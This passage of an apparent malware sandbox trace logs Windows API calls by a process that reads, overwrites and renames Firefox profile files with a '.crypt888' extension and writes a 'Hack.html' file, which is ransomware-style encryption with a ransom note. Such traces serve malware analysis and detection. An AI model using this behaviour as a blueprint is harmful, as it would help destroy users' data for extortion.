lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.628] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.629] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.629] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0079.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.631] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js", lpFilePart=0x0) returned 0x60 [0079.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eba0) returned 1 [0079.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.632] GetFileType (hFile=0x174) returned 0x1 [0079.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb9c) returned 1 [0079.633] GetFileType (hFile=0x174) returned 0x1 [0079.633] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0xfde [0079.633] ReadFile (in: hFile=0x174, lpBuffer=0x28139fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x28139fc*, lpNumberOfBytesRead=0x39ec54*=0xfde, lpOverlapped=0x0) returned 1 [0079.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js", lpFilePart=0x0) returned 0x60 [0079.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0079.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.655] GetFileType (hFile=0x174) returned 0x1 [0079.655] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0079.655] GetFileType (hFile=0x174) returned 0x1 [0079.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js", lpFilePart=0x0) returned 0x60 [0079.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.crypt888", lpFilePart=0x0) returned 0x69 [0079.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0079.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84c85c10, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x853f60d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc0ae1780, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xfe0)) returned 1 [0079.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0079.657] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js.crypt888")) returned 1 [0079.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js", lpFilePart=0x0) returned 0x67 [0079.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eba0) returned 1 [0079.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.659] GetFileType (hFile=0x174) returned 0x1 [0079.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb9c) returned 1 [0079.659] GetFileType (hFile=0x174) returned 0x1 [0079.659] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0xbc5 [0079.659] ReadFile (in: hFile=0x174, lpBuffer=0x28688a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x28688a8*, lpNumberOfBytesRead=0x39ec54*=0xbc5, lpOverlapped=0x0) returned 1 [0079.709] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js", lpFilePart=0x0) returned 0x67 [0079.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0079.710] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.711] GetFileType (hFile=0x174) returned 0x1 [0079.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0079.711] GetFileType (hFile=0x174) returned 0x1 [0079.711] WriteFile (in: hFile=0x174, lpBuffer=0x26bd27c*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x39ec18, lpOverlapped=0x0 | out: lpBuffer=0x26bd27c*, lpNumberOfBytesWritten=0x39ec18*=0xbd0, lpOverlapped=0x0) returned 1 [0079.712] CloseHandle (hObject=0x174) returned 1 [0079.713] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js", lpFilePart=0x0) returned 0x67 [0079.713] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.crypt888", lpFilePart=0x0) returned 0x70 [0079.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0079.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb82fff30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x84e029d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc0b53ba0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1 [0079.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0079.714] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js.crypt888")) returned 1 [0079.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.715] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups", lpFilePart=0x0) returned 0x67 [0079.715] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\", lpFilePart=0x0) returned 0x68 [0079.715] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a728 [0079.718] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.718] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.718] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.718] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.718] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.720] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups", lpFilePart=0x0) returned 0x67 [0079.720] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\", lpFilePart=0x0) returned 0x68 [0079.720] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a728 [0079.721] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.721] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.721] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.722] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.722] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\Hack.html", lpFilePart=0x0) returned 0x71 [0079.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0079.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.725] GetFileType (hFile=0x174) returned 0x1 [0079.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0079.725] GetFileType (hFile=0x174) returned 0x1 [0079.725] WriteFile (in: hFile=0x174, lpBuffer=0x26c2924*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26c2924*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.726] CloseHandle (hObject=0x174) returned 1 [0079.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.727] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB", lpFilePart=0x0) returned 0x61 [0079.727] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\", lpFilePart=0x0) returned 0x62 [0079.727] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a728 [0079.729] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.729] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.729] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.729] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.730] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB", lpFilePart=0x0) returned 0x61 [0079.730] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\", lpFilePart=0x0) returned 0x62 [0079.730] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a728 [0079.730] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.730] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.731] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.731] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0079.731] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home", lpFilePart=0x0) returned 0x75 [0079.731] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\", lpFilePart=0x0) returned 0x76 [0079.731] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a728 [0079.731] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.732] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.732] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.732] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0079.732] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0079.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0079.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0079.732] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home", lpFilePart=0x0) returned 0x75 [0079.732] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\", lpFilePart=0x0) returned 0x76 [0079.733] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a728 [0079.733] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.733] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.733] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.733] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0079.733] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0079.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0079.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 